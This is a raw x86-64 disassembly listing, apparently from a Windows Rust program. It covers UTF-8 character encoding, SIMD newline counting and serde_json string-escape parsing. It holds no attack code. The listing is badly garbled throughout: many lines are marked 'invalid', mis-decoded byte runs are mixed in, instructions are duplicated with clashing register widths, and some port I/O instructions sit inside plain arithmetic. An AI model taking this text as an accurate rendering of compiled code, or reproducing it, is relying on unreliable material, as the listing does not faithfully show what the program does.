call fcn.140013990
cmp qword [rsp + 0x30], 0
and al, 0x30
invalid
dec dword [rax - 0x7d]
jl 0x1400d0713
invalid
and al, 0x30
add byte [rax + rbx + 0x4c], dh
sbb byte [rbx + rcx*4 + 0x44], cl
and al, 0x38
xor byte [rax], al
je 0x1400d070b
mov r8, qword [rsp + 0x38]
and al, 0x38
mov rcx, qword [0x140182260]
mov ecx, dword [0x140182260]
add byte [rcx], dh
ror byte [rcx + 0x5715ffc3], cl
ret
invalid
invalid
push rdi
xor edx, edx
mov ebx, eax
ret
call qword [sym.imp.kernel32.dll_HeapFree]
mov eax, ebx
invalid
ret
sub al, 4
add byte [rcx - 0x3b7eb728], cl
fmul dword [rax - 0x7f]
invalid
rol byte [rax], 0
add byte [rbx + 0x5f], bl
pop rbx
pop rdi
fmul dword [rax - 0x7f]
invalid
add rsp, 0xc0
pop rbx
pop rdi
pop rsi
ret
lea rax, [0x140172938]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
and cl, byte [rdx]
add byte [rax - 0x77], cl
mov dword [rsp + 0x20], eax
mov dword [rsp + 0x20], eax
lea rcx, str.a_Display_implementation_returned_an_error_unexpectedly_rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrary_alloc_src_string.rs
lea r9, [0x140147f60]
lea ecx, [0x140147f60]
invalid
add byte [rbp + rcx*4 + 0x44], cl
lea eax, [rsp + 0x30]
and dword [rdx], ecx
add byte [rbp + rcx*4 + 0xd], cl
lea ecx, [0x140147f60]
invalid
add byte [rbp + rcx*4 + 0x44], cl
lea eax, [rsp + 0x30]
invalid
lea eax, [rsp + 0x30]
mov edx, 0x37
invalid
call fcn.1401088e0
int3
in al, dx
mov byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
invalid
cmp qword [rcx + 0x18], 0
sbb byte [rax], al
je 0x1400d07d5
lea rax, [rcx + 0x18]
lea eax, [rcx + 0x18]
mov qword [rsp + 0x28], rcx
add rcx, 0x20
lea r8, [0x1400d07f0]
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx + rcx*4 + 0x44], cl
mov qword [rsp + 0x30], r8
mov qword [rsp + 0x30], r8
mov qword [rsp + 0x38], rax
lea rax, [fcn.140012cc0]
cmp byte [rax - 0x73], cl
add eax, 0xfff42546
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x50], eax
mov dword [rsp + 0x50], eax
lea rax, [0x140148be8]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 3
mov dword [rsp + 0x60], 3
invalid
mov dword [rsp + 0x60], 3
mov qword [rsp + 0x78], 0
lea rax, [rsp + 0x28]
and al, 0x28
and al, 0x28
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], 3
mov dword [rsp + 0x70], 3
mov dword [rsp + 0x70], 3
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
lea r8, [rsp + 0x58]
pop rax
pop rax
call fcn.140013990
nop
add rsp, 0x88
add esp, 0x88
add esp, 0x88
ret
add rsp, 0x88
jmp 0x1400d07f0
int3
mov rax, qword [rcx]
lea r8, [0x140178d98]
movsxd rax, dword [r8 + rax*4]
add rax, r8
jmp rax
mov rax, qword [rcx + 8]
mov r8, qword [rcx + 0x10]
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
mov r9, qword [rdx + 0x18]
mov rdx, rax
jmp r9
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x140148aab]
mov r8d, 0x3e
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x140148a7e]
mov r8d, 0x13
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x140148a56]
mov r8d, 0xc
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1401489d5]
mov r8d, 0x1a
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x140148a62]
mov r8d, 0xe
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x140148a3a]
mov r8d, 0xe
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x140148bbe]
mov r8d, 0x18
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1401489a2]
mov r8d, 0x18
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x140148a91]
mov r8d, 0x1a
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1401489ba]
mov r8d, 0x1b
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x140148a14]
mov r8d, 0x13
jmp rax
add rcx, 8
jmp fcn.1400da120
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x140148ae9]
mov r8d, 0x14
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x140148b5d]
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x781d4
mov r8d, 0x24
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1401489ef]
mov r8d, 0x19
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0x781c0
sbb byte [rax - 0x73], cl
adc eax, 0x781c0
mov r8d, 0xe
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x140148a70]
mov r8d, 0xe
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x140148a08]
invalid
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x7800f
invalid
add byte [rcx - 0x48], al
or al, 0
add byte [rax], al
mov r8d, 0xc
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x140148afd]
mov r8d, 0x34
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x140148a48]
mov r8d, 0xe
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x140148a27]
mov r8d, 0x13
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x140148b8f]
mov r8d, 0x13
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x140148b31]
mov r8d, 0x2c
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x140148ba2]
mov r8d, 0x1c
jmp rax
mov eax, 5
jmp rax
ror byte [rax - 0x7d], 0xc4
sub byte [rbx + 0x5f], bl
pop rsi
pop r14
ret
sub esp, 0x30
mov rsi, rcx
cmp edx, 0x80
jae 0x1400d0b8e
mov rax, qword [rsi + 0x10]
cmp rax, qword [rsi]
jne 0x1400d0b7b
adc byte [rax + 0x3b], r9b
invalid
mov rcx, rsi
mov edi, edx
call fcn.140101c90
mov edx, edi
mov rax, qword [rsi + 0x10]
mov rcx, qword [rsi + 8]
mov byte [rcx + rax], dl
inc rax
mov qword [rsi + 0x10], rax
jmp 0x1400d0c47
mov dword [rsp + 0x2c], 0
mov eax, edx
cmp edx, 0x800
jae 0x1400d0bba
shr eax, 6
or al, 0xc0
mov byte [rsp + 0x2c], al
and dl, 0x3f
or dl, 0x80
mov byte [rsp + 0x2d], dl
mov edi, 2
jmp 0x1400d0c1d
cmp edx, 0x10000
jae 0x1400d0be9
shr eax, 0xc
or al, 0xe0
mov byte [rsp + 0x2c], al
mov eax, edx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x2d], al
and dl, 0x3f
or dl, 0x80
mov byte [rsp + 0x2e], dl
mov edi, 3
jmp 0x1400d0c1d
shr eax, 0x12
and al, 7
or al, 0xf0
mov byte [rsp + 0x2c], al
mov eax, edx
shr eax, 0xc
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x2d], al
mov eax, edx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x2e], al
and dl, 0x3f
or dl, 0x80
mov byte [rsp + 0x2f], dl
mov edi, 4
mov rax, qword [rsi]
mov rbx, qword [rsi + 0x10]
sub rax, rbx
cmp rax, rdi
jb 0x1400d0c51
mov rcx, qword [rsi + 8]
add rcx, rbx
lea rdx, [rsp + 0x2c]
mov r8, rdi
call fcn.140106530
add rbx, rdi
mov qword [rsi + 0x10], rbx
xor eax, eax
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret
mov rcx, rsi
mov rdx, rbx
mov r8, rdi
call fcn.14010fc70
mov rbx, qword [rsi + 0x10]
jmp 0x1400d0c2c
add r8, 4
movd xmm1, dword [r10]
add r10, 4
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
pcmpeqb xmm1, xmm0
movmskps ebx, xmm1
test bl, 1
cmovne r8, rsi
test bl, 2
cmovne r8, rdi
test bl, 4
cmovne r8, r9
test bl, 8
mov r14d, 0
cmovne r8, r14
mov ebp, ebx
shr bpl, 1
and bpl, 5
in eax, 5
in eax, 5
sub bl, bpl
mov ebp, ebx
and bpl, 0x33
shr bl, 2
and bl, 0x33
add bl, bpl
mov ebp, ebx
shr bpl, 4
add bpl, bl
and bpl, 0xf
movzx ebx, bpl
add rdx, rbx
add r11, 0xfffffffffffffffc
jne 0x1400d0e70
mov rsi, rcx
test rax, rax
je 0x1400d0f14
xor ecx, ecx
nop dword [rax]
inc r8
xor r9d, r9d
cmp byte [r10 + rcx], 0xa
mov r11d, 0
cmove r8, r11
sete r9b
add rdx, r9
inc rcx
cmp rax, rcx
jne 0x1400d0ef0
lea rcx, [rsp + 0x28]
jmp 0x1400d100a
or eax, 0x1b8
add byte [rbp + 0x31], al
shr cl, 0x98
add byte [rax], al
add byte [rax], al
and rdx, 0xfffffffffffffffc
add byte [rax], al
and rdx, 0xfffffffffffffffc
mov r11d, 1
add dword [rax], eax
add byte [rax], al
xor r8d, r8d
movdqa xmm0, xmmword [str._n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n]
mov esi, 3
mov edi, 2
mov eax, 1
nop
add r8, 4
movd xmm1, dword [r9]
add r9, 4
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
pcmpeqb xmm1, xmm0
movmskps ebx, xmm1
test bl, 1
ret
add dword [rdi + rcx + 0x45], ecx
invalid
test bl, 2
cmovne r8, rdi
test bl, 4
cmovne r8, r11
test bl, 8
mov r14d, 0
cmovne r8, r14
mov ebp, ebx
shr bpl, 1
and bpl, 5
in eax, 5
ret
in eax, 5
sub bl, bpl
mov ebp, ebx
and bpl, 0x33
shr bl, 2
and bl, 0x33
add bl, bpl
mov ebp, ebx
shr bpl, 4
add bpl, bl
and bpl, 0xf
movzx ebx, bpl
add rax, rbx
add rdx, 0xfffffffffffffffc
jne 0x1400d0f60
mov rsi, rcx
test r10, r10
je 0x1400d1002
xor ecx, ecx
nop dword [rax]
inc r8
xor edx, edx
cmp byte [r9 + rcx], 0xa
mov r11d, 0
cmove r8, r11
sete dl
add rax, rdx
inc rcx
cmp r10, rcx
jne 0x1400d0fe0
lea rcx, [rsp + 0x28]
mov rdx, rax
call fcn.14010fc10
mov qword [rsi + 8], rax
mov word [rsi], 1
add rsp, 0x40
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
ret
add eax, 0x77e1b
mov rcx, r9
call fcn.1401085b0
int3
push rbx
sub rsp, 0x40
mov r9, qword [rdx + 8]
or byte [rax - 0x75], cl
adc byte [rcx + r15 - 0x38], cl
or byte [rax - 0x75], cl
adc byte [rcx + r15 - 0x38], cl
jae 0x1400d106f
mov rdx, qword [rdx]
movzx eax, byte [rdx + rax]
mov byte [rcx + 1], al
mov byte [rcx], 0
add rsp, 0x40
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop rsi
pop rsi
ret
mov qword [rsp + 0x28], 4
ja 0x1400d1198
invalid
add byte [rax], al
add byte [rdi], cl
xchg dword [rdx], ebx
add dword [rax], eax
add byte [rax - 0x7b], cl
sal byte [rbp + 0x10], 0x48
mov esi, ecx
test rax, rax
jne 0x1400d1093
mov rsi, rcx
mov edx, 1
xor r8d, r8d
jmp 0x1400d1182
mov r9, qword [rdx]
mov r10d, eax
and r10d, 3
or al, byte [rcx - 0x77]
ret 0x8341
cmp rax, 4
jae 0x1400d10b0
mov edx, 1
xor r8d, r8d
jmp 0x1400d1153
add byte [rax], al
add byte [rbp + 0x31], al
shr cl, 0xa3
add byte [rax], al
add byte [rax - 0x7d], cl
loopne 0x1400d10b0
and rax, 0xfffffffffffffffc
mov r11d, 1
xor r8d, r8d
movdqa xmm0, xmmword [str._n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n]
add al, 0
mov esi, 3
mov edi, 2
add byte [rax], al
add byte [rax], al
mov edx, 1
nop word cs:[rax + rax]
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx - 0x7d], cl
rol byte [rsi + riz*2], 0x41
movd mm1, dword [r9]
add r8, 4
movd xmm1, dword [r9]
movd mm1, dword [r9]
movd mm1, dword [r9]
add r9, 4
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
pcmpeqb xmm1, xmm0
movmskps ebx, xmm1
test bl, 1
ret
add dword [rdi + rcx + 0x45], ecx
invalid
test bl, 2
add cl, byte [rdi + rcx + 0x45]
invalid
test bl, 4
ret
add cl, byte [rdi + rcx + 0x45]
invalid
cmovne r8, r11
test bl, 8
mov r14d, 0
mov esi, 0
mov esi, 0
cmovne r8, r14
mov ebp, ebx
shr bpl, 1
shr ch, 1
invalid
shr ch, 1
and bpl, 5
in eax, 5
sub bl, bpl
mov ebp, ebx
and bpl, 0x33
and ch, 0x33
and ch, 0x33
shr bl, 2
and bl, 0x33
xor eax, dword [rax]
jmp 0x1400d10c3
fld qword [rax - 0x40]
in eax, dx
add al, 0x40
add ch, bl
xor eax, dword [rax]
jmp 0x1400d10c3
in eax, dx
add al, 0x40
add ch, bl
and bpl, 0xf
movzx ebx, bpl
invalid
cmovo ecx, dword [rdi]
mov dh, 0xdd
invalid
fisttp qword [rax + 1]
fimul dword [rax - 0x7d]
add rax, 0xfffffffffffffffc
jne 0x1400d10e0
invalid
invalid
add rdx, rbx
add rax, 0xfffffffffffffffc
jne 0x1400d10e0
mov rsi, rcx
test r10, r10
je 0x1400d1182
invalid
nop dword [rax]
inc r8
xor ecx, ecx
cmp byte [r9 + rax], 0xa
mov r11d, 0
add byte [rax], al
add byte [rbp + 0xf], cl
cmove eax, ebx
add byte [rax], al
add byte [rbp + 0xf], cl
cmove eax, ebx
cmove eax, ebx
sete cl
add rdx, rcx
invalid
inc rax
cmp r10, rax
jne 0x1400d1160
lea rcx, [rsp + 0x28]
and al, 0x28
call fcn.14010fc10
mov qword [rsi + 8], rax
mov byte [rsi], 1
jmp 0x1400d1064
invalid
invalid
invalid
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_serde_json_1.0.114_src_read.rs
lea eax, [0x140148dd0]
mov rcx, rax
mov ecx, eax
mov rdx, r9
call fcn.140108620
int3
int3
push rbx
sub rsp, 0x20
mov rax, rcx
mov r9, qword [rcx + 8]
invalid
or byte [rax - 0x75], cl
adc byte [r9 + rdi - 0x37], cl
cmp rcx, r9
mov rcx, qword [rcx + 0x10]
cmp rcx, r9
ja 0x1400d12e8
add byte [rax - 0x7b], cl
leave
test rcx, rcx
jne case.0x140092cfa.477
mov eax, 1
xor r8d, r8d
jmp 0x1400d12d3
add byte [rax], al
add byte [rbp + 0x31], al
shr cl, 0xf3
add byte [rax], al
add byte [rbx + rcx*4 + 8], cl
mov r9, qword [rax]
mov r9, qword [rax]
mov r10d, ecx
and r10d, 3
add ecx, dword [rax - 0x7d]
stc
add al, 0x73
invalid
retf 0x8341
add ecx, dword [rax - 0x7d]
stc
add al, 0x73
or eax, 0x1b8
mov eax, 1
xor r8d, r8d
jmp 0x1400d12a3
and rcx, 0xfffffffffffffffc
mov eax, 1
xor r8d, r8d
jmp 0x1400d12a3
and rcx, 0xfffffffffffffffc
mov r11d, 1
add byte [rax], al
xor r8d, r8d
movdqa xmm0, xmmword [str._n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n]
add byte [rsi + 3], bh
add byte [rsi + 3], bh
add eax, dword [rax]
add byte [rax], al
mov edi, 2
mov eax, 1
add dword [rax], eax
add byte [rax], al
add dword [rax], eax
add byte [rax], al
nop word cs:[rax + rax]
add r8, 4
add eax, 4
movd xmm1, dword [r9]
add r9, 4
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
pcmpeqb xmm1, xmm0
movmskps ebx, xmm1
test bl, 1
cmovne r8, rsi
cmovne eax, esi
cmovne eax, esi
test bl, 2
cmovne r8, rdi
invalid
test bl, 4
cmovne r8, r11
test bl, 8
mov r14d, 0
mov esi, 0
invalid
mov esi, 0
cmovne r8, r14
mov ebp, ebx
invalid
shr bpl, 1
and bpl, 5
in eax, 5
in eax, 5
sub bl, bpl
mov ebp, ebx
and bpl, 0x33
shr bl, 2
and bl, 0x33
xor eax, dword [rax]
jmp 0x1400d1213
fld qword [rax - 0x40]
in eax, dx
add al, 0x40
add ch, bl
jmp case.0x1400aa7a4.261
xor eax, dword [rax]
jmp 0x1400d1213
in eax, dx
add al, 0x40
add ch, bl
and bpl, 0xf
in eax, 0xf
cmovo ecx, dword [rdi]
mov dh, 0xdd
movzx ebx, bpl
add rax, rbx
add rcx, 0xfffffffffffffffc
jne 0x1400d1230
test r10, r10
je 0x1400d12d3
sal byte [rbx + rbp + 0x31], cl
xor ecx, ecx
leave
nop word [rax + rax]
add byte [rax], r8b
inc r8
xor r11d, r11d
fild dword [rcx - 0x80]
cmp al, 9
or dword [rdx], ecx
fild dword [rcx - 0x80]
cmp al, 9
or dword [rdx], ecx
mov esi, 0
or dword [rdx], ecx
mov esi, 0
cmove r8, rsi
sete r11b
add rax, r11
add eax, ebx
add eax, ebx
inc rcx
cmp r10, rcx
jne 0x1400d12b0
mov rcx, rdx
mov rdx, rax
add rsp, 0x20
ror dword [rax - 0x77], 1
ret 0x8348
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
jmp fcn.14010fc10
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_serde_json_1.0.114_src_read.rs
mov rdx, r9
retf 0x29e8
jae case.0x1400a9119.346
add ah, cl
retf 0x29e8
int3
int3
in al, dx
and byte [rax - 0x77], cl
enter 0xffffffffffff8b48, 0x51
or byte [rax - 0x75], cl
adc byte [r8 + 0x39], cl
adc byte [rax + 0x39], cl
ror dword [rdi], 1
xchg dword [rcx], eax
add dword [rax], eax
add byte [rax - 0x7b], cl
leave
add byte [rax], al
test rcx, rcx
je 0x1400d133c
mov r8, qword [rax]
mov eax, dword [rax]
mov r9d, ecx
leave
and r9d, 3
cmp rcx, 4
add al, 0x73
invalid
add al, 0x73
sbb byte [rax + 1], bh
mov eax, 1
xor edx, edx
jmp 0x1400d13e2
cmpsb byte [rsi], byte [rdi]
add byte [rax], al
invalid
cmpsb byte [rsi], byte [rdi]
add byte [rax], al
add byte [rax + 1], bh
add dword [rax], eax
add byte [rax], al
mov eax, 1
add dword [rax], eax
add byte [rax], al
xor edx, edx
jmp 0x1400d1414
and rcx, 0xfffffffffffffffc
and ecx, 0xfffffffc
mov r10d, 1
mov edx, 1
add byte [rcx], dh
shl byte [rsi + 0xf], cl
movq mm0, qword [str._n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n]
xor edx, edx
movdqa xmm0, xmmword [str._n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n]
movq mm0, qword [str._n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n]
movq mm0, qword [str._n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n]
mov r11d, 3
mov ebx, 3
mov esi, 2
mov eax, 1
nop dword [rax]
add byte [rax], al
add byte [rdi], cl
invalid
add rdx, 4
add edx, 4
movd xmm1, dword [r8]
movd mm1, dword [r8]
add r8, 4
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
pcmpeqb xmm1, xmm0
movmskps edi, xmm1
test dil, 1
cmovne rdx, r11
cmovne edx, ebx
test dil, 2
cmovne rdx, rsi
cmovne edx, esi
cmovne edx, esi
test dil, 4
test bh, 4
cmovne rdx, r10
cmovne edx, edx
test dil, 8
test bh, 8
mov ebx, 0
cmovne rdx, rbx
mov ebx, edi
shr bl, 1
and bl, 5
sub dil, bl
sub bh, bl
mov ebx, edi
and bl, 0x33
shr dil, 2
shr bh, 2
shr bh, 2
and dil, 0x33
and bh, 0x33
add dil, bl
add bh, bl
mov ebx, edi
shr bl, 4
add bl, dil
and bl, 0xf
invalid
movzx edi, bl
add rax, rdi
add rcx, 0xfffffffffffffffc
jne 0x1400d1370
invalid
test r9, r9
je 0x1400d1414
xor ecx, ecx
nop dword [rax]
add byte [rax], al
add byte [rax - 1], cl
inc edx
invalid
invalid
inc rdx
inc edx
xor r10d, r10d
cmp byte [r8 + rcx], 0xa
cmp al, 8
or al, byte [rcx - 0x45]
add byte [rax], al
add byte [rax], al
cmp al, 8
or al, byte [rcx - 0x45]
add byte [rax], al
add byte [rax], al
cmove rdx, r11
sete r10b
add rax, r10
inc rcx
inc ecx
cmp r9, rcx
leave
leave
jne 0x1400d13f0
add rsp, 0x20
add esp, 0x20
pop rbx
pop rdi
pop rsi
ret
lea eax, [0x140148dd0]
call fcn.140108620
int3
inc ecx
ror dword [rcx + rdi - 0x38], 0x4c
cmovb ecx, eax
cmp rax, r9
cmovb r9, rax
test r9, r9
je 0x1400d1466
mov rcx, qword [rcx]
mov r8d, r9d
and r8d, 3
cmp r9, 4
jae 0x1400d1472
mov eax, 1
xor edx, edx
jmp 0x1400d1511
add byte [rax + 1], bh
mov eax, 1
add byte [rax], al
xor edx, edx
jmp 0x1400d1544
and r9, 0xfffffffffffffffc
cld
mov r10d, 1
xor edx, edx
movdqa xmm0, xmmword [str._n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n]
outsd dx, dword [rsi]
add eax, 0x4223a
invalid
outsd dx, dword [rsi]
add eax, 0x4223a
invalid
mov r11d, 3
mov esi, 2
mov eax, 1
add byte [rax], al
nop word cs:[rax + rax]
add rdx, 4
movd xmm1, dword [rcx]
movd mm1, dword [rcx]
movd mm1, dword [rcx]
add rcx, 4
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
pcmpeqb xmm1, xmm0
movmskps edi, xmm1
push rax
stc
push rax
stc
test dil, 1
cmovne rdx, r11
test dil, 2
test bh, 2
test bh, 2
cmovne rdx, rsi
test dil, 4
cmovne rdx, r10
test dil, 8
mov ebx, 0
cmovne rdx, rbx
mov ebx, edi
sti
sti
shr bl, 1
and bl, 5
sub dil, bl
sub bh, bl
sub bh, bl
fisttp word [rcx + 0x33e380fb]
mov ebx, edi
and bl, 0x33
shr dil, 2
and dil, 0x33
add dil, bl
mov ebx, edi
shr bl, 4
add bl, dil
and bl, 0xf
movzx edi, bl
add rax, rdi
add eax, edi
add eax, edi
add r9, 0xfffffffffffffffc
jne 0x1400d14a0
sar esp, 0x75
invalid
test r8, r8
je 0x1400d1544
xor r9d, r9d
nop dword [rax]
inc rdx
xor r10d, r10d
cmp byte [rcx + r9], 0xa
mov r11d, 0
add byte [rax], al
add byte [rax], al
cmove rdx, r11
sete r10b
add rax, r10
inc r9
cmp r8, r9
jne 0x1400d1520
pop rbx
pop rdi
pop rsi
ret
push rdi
push rbp
push rbx
sub rsp, 0xa8
movdqa xmmword [rsp + 0x90], xmm7
movdqa xmmword [rsp + 0x80], xmm6
add byte [rax - 0x77], cl
xlatb
add byte [rax - 0x77], cl
xlatb
mov qword [rsp + 0x28], rcx
mov rbp, qword [rdx + 8]
mov rdx, qword [rdx + 0x10]
cmp rdx, rbp
jae 0x1400d1c66
lea rcx, [0x140148e60]
movdqa xmm6, xmmword [str._a___]
movdqa xmm7, xmmword [0x140113ab0]
mov qword [rsp + 0x30], r8
mov qword [rsp + 0x78], rdi
nop
mov rbx, qword [rdi]
lea esi, [rdx + 1]
add dword [rbp + rcx*4 + 0x6a], eax
add al, byte [rcx - 0x41]
add al, byte [rax]
add byte [rax], al
add dword [rbp + rcx*4 + 0x6a], eax
add al, byte [rcx - 0x41]
add al, byte [rax]
add byte [rax], al
mov r12, rdx
nop word cs:[rax + rax]
movzx eax, byte [rbx + r12]
cmp byte [rax + rcx], 0
jne 0x1400d1600
inc r12
inc esp
mov qword [rdi + 0x10], r12
inc sil
mov byte [rcx - 2], 0xc5
mov byte [rcx - 2], 0xc5
inc r15
cmp r12, rbp
jb 0x1400d15d0
jmp 0x1400d1a56
add byte [rsi + 0x66], ah
nop dword cs:[rax + rax]
cmp eax, 0x5c
clc
pop rsp
jne 0x1400d1a9d
mov r14, r12
sub r14, rdx
jb 0x1400d2494
mov rax, qword [r8]
mov r9, qword [r8 + 0x10]
sub rax, r9
cmp rax, r14
jb 0x1400d187f
mov qword [rsp + 0x70], rdx
add rdx, rbx
mov rax, qword [r8 + 8]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x50], eax
mov dword [rsp + 0x50], eax
lea rcx, [rax + r9]
mov r8, r14
mov rdi, r9
call fcn.140106530
mov rdx, rdi
mov r8, qword [rsp + 0x30]
add rdx, r14
mov qword [r8 + 0x10], rdx
lea rcx, [r12 + 1]
mov rdi, qword [rsp + 0x78]
mov edi, dword [rsp + 0x78]
mov edi, dword [rsp + 0x78]
mov qword [rdi + 0x10], rcx
cmp rcx, rbp
jae 0x1400d1ccc
movzx eax, byte [rbx + r12 + 1]
lea r14, [r12 + 2]
mov qword [rdi + 0x10], r14
add eax, 0xffffffde
cmp eax, 0x53
ja case.0x1400d1697.35
iretd
or al, byte [rax]
invalid
iretd
lea rcx, [0x140178dfc]
movsxd rax, dword [rcx + rax*4]
insb byte [rdi], dx
ja case.0x1400d1697.34
add byte [rax + 0x63], cl
add al, 0x81
add rax, rcx
jmp rax
cmp rdx, qword [r8]
mov rax, qword [rsp + 0x50]
jne 0x1400d16b8
mov rcx, r8
call fcn.140101c90
mov r8, qword [rsp + 0x30]
and al, 0x30
and al, 0x30
mov rax, qword [r8 + 8]
mov rdx, qword [r8 + 0x10]
mov byte [rax + rdx], 0x22
jmp 0x1400d1860
cmp rdx, qword [r8]
mov rax, qword [rsp + 0x50]
jne 0x1400d16e0
mov rcx, r8
call fcn.140101c90
mov r8, qword [rsp + 0x30]
and al, 0x30
and al, 0x30
mov rax, qword [r8 + 8]
mov rdx, qword [r8 + 0x10]
mov byte [rax + rdx], 0xc
jmp 0x1400d1860
cmp rdx, qword [r8]
mov rax, qword [rsp + 0x50]
jne 0x1400d1708
mov rcx, r8
call fcn.140101c90
mov r8, qword [rsp + 0x30]
and al, 0x30
and al, 0x30
mov rax, qword [r8 + 8]
mov rdx, qword [r8 + 0x10]
mov byte [rax + rdx], 0x5c
jmp 0x1400d1860
cmp rdx, qword [r8]
mov rax, qword [rsp + 0x50]
jne 0x1400d1730
mov rcx, r8
call fcn.140101c90
mov r8, qword [rsp + 0x30]
and al, 0x30
and al, 0x30
mov rax, qword [r8 + 8]
mov rdx, qword [r8 + 0x10]
mov byte [rax + rdx], 0xa
jmp 0x1400d1860
cmp rdx, qword [r8]
mov rax, qword [rsp + 0x50]
jne 0x1400d1758
mov rcx, r8
call fcn.140101c90
mov r8, qword [rsp + 0x30]
mov rax, qword [r8 + 8]
mov rdx, qword [r8 + 0x10]
mov byte [rax + rdx], 0x2f
jmp 0x1400d1860
cmp rdx, qword [r8]
mov rax, qword [rsp + 0x50]
jne 0x1400d1780
mov rcx, r8
call fcn.140101c90
mov r8, qword [rsp + 0x30]
mov rax, qword [r8 + 8]
mov rdx, qword [r8 + 0x10]
mov byte [rax + rdx], 8
jmp 0x1400d1860
mov rbx, rdx
lea rcx, [rsp + 0x58]
mov rdx, rdi
call fcn.1400d0d10
cmp word [rsp + 0x58], 0
jne case.0x1400a4d30.310
movzx esi, word [rsp + 0x5a]
and al, 0x5a
movzx eax, si
mov ecx, eax
and ecx, 0xfc00
cmp ecx, 0xd800
je 0x1400d18a1
cmp ecx, 0xdc00
mov rcx, qword [rsp + 0x30]
je 0x1400d2282
invalid
mov al, 0xa
add byte [rax], al
test byte [rax - 0x76fffff6], dh
ret 0xf281
mov edx, eax
xor edx, 0xffefd800
cmp edx, 0xffef0800
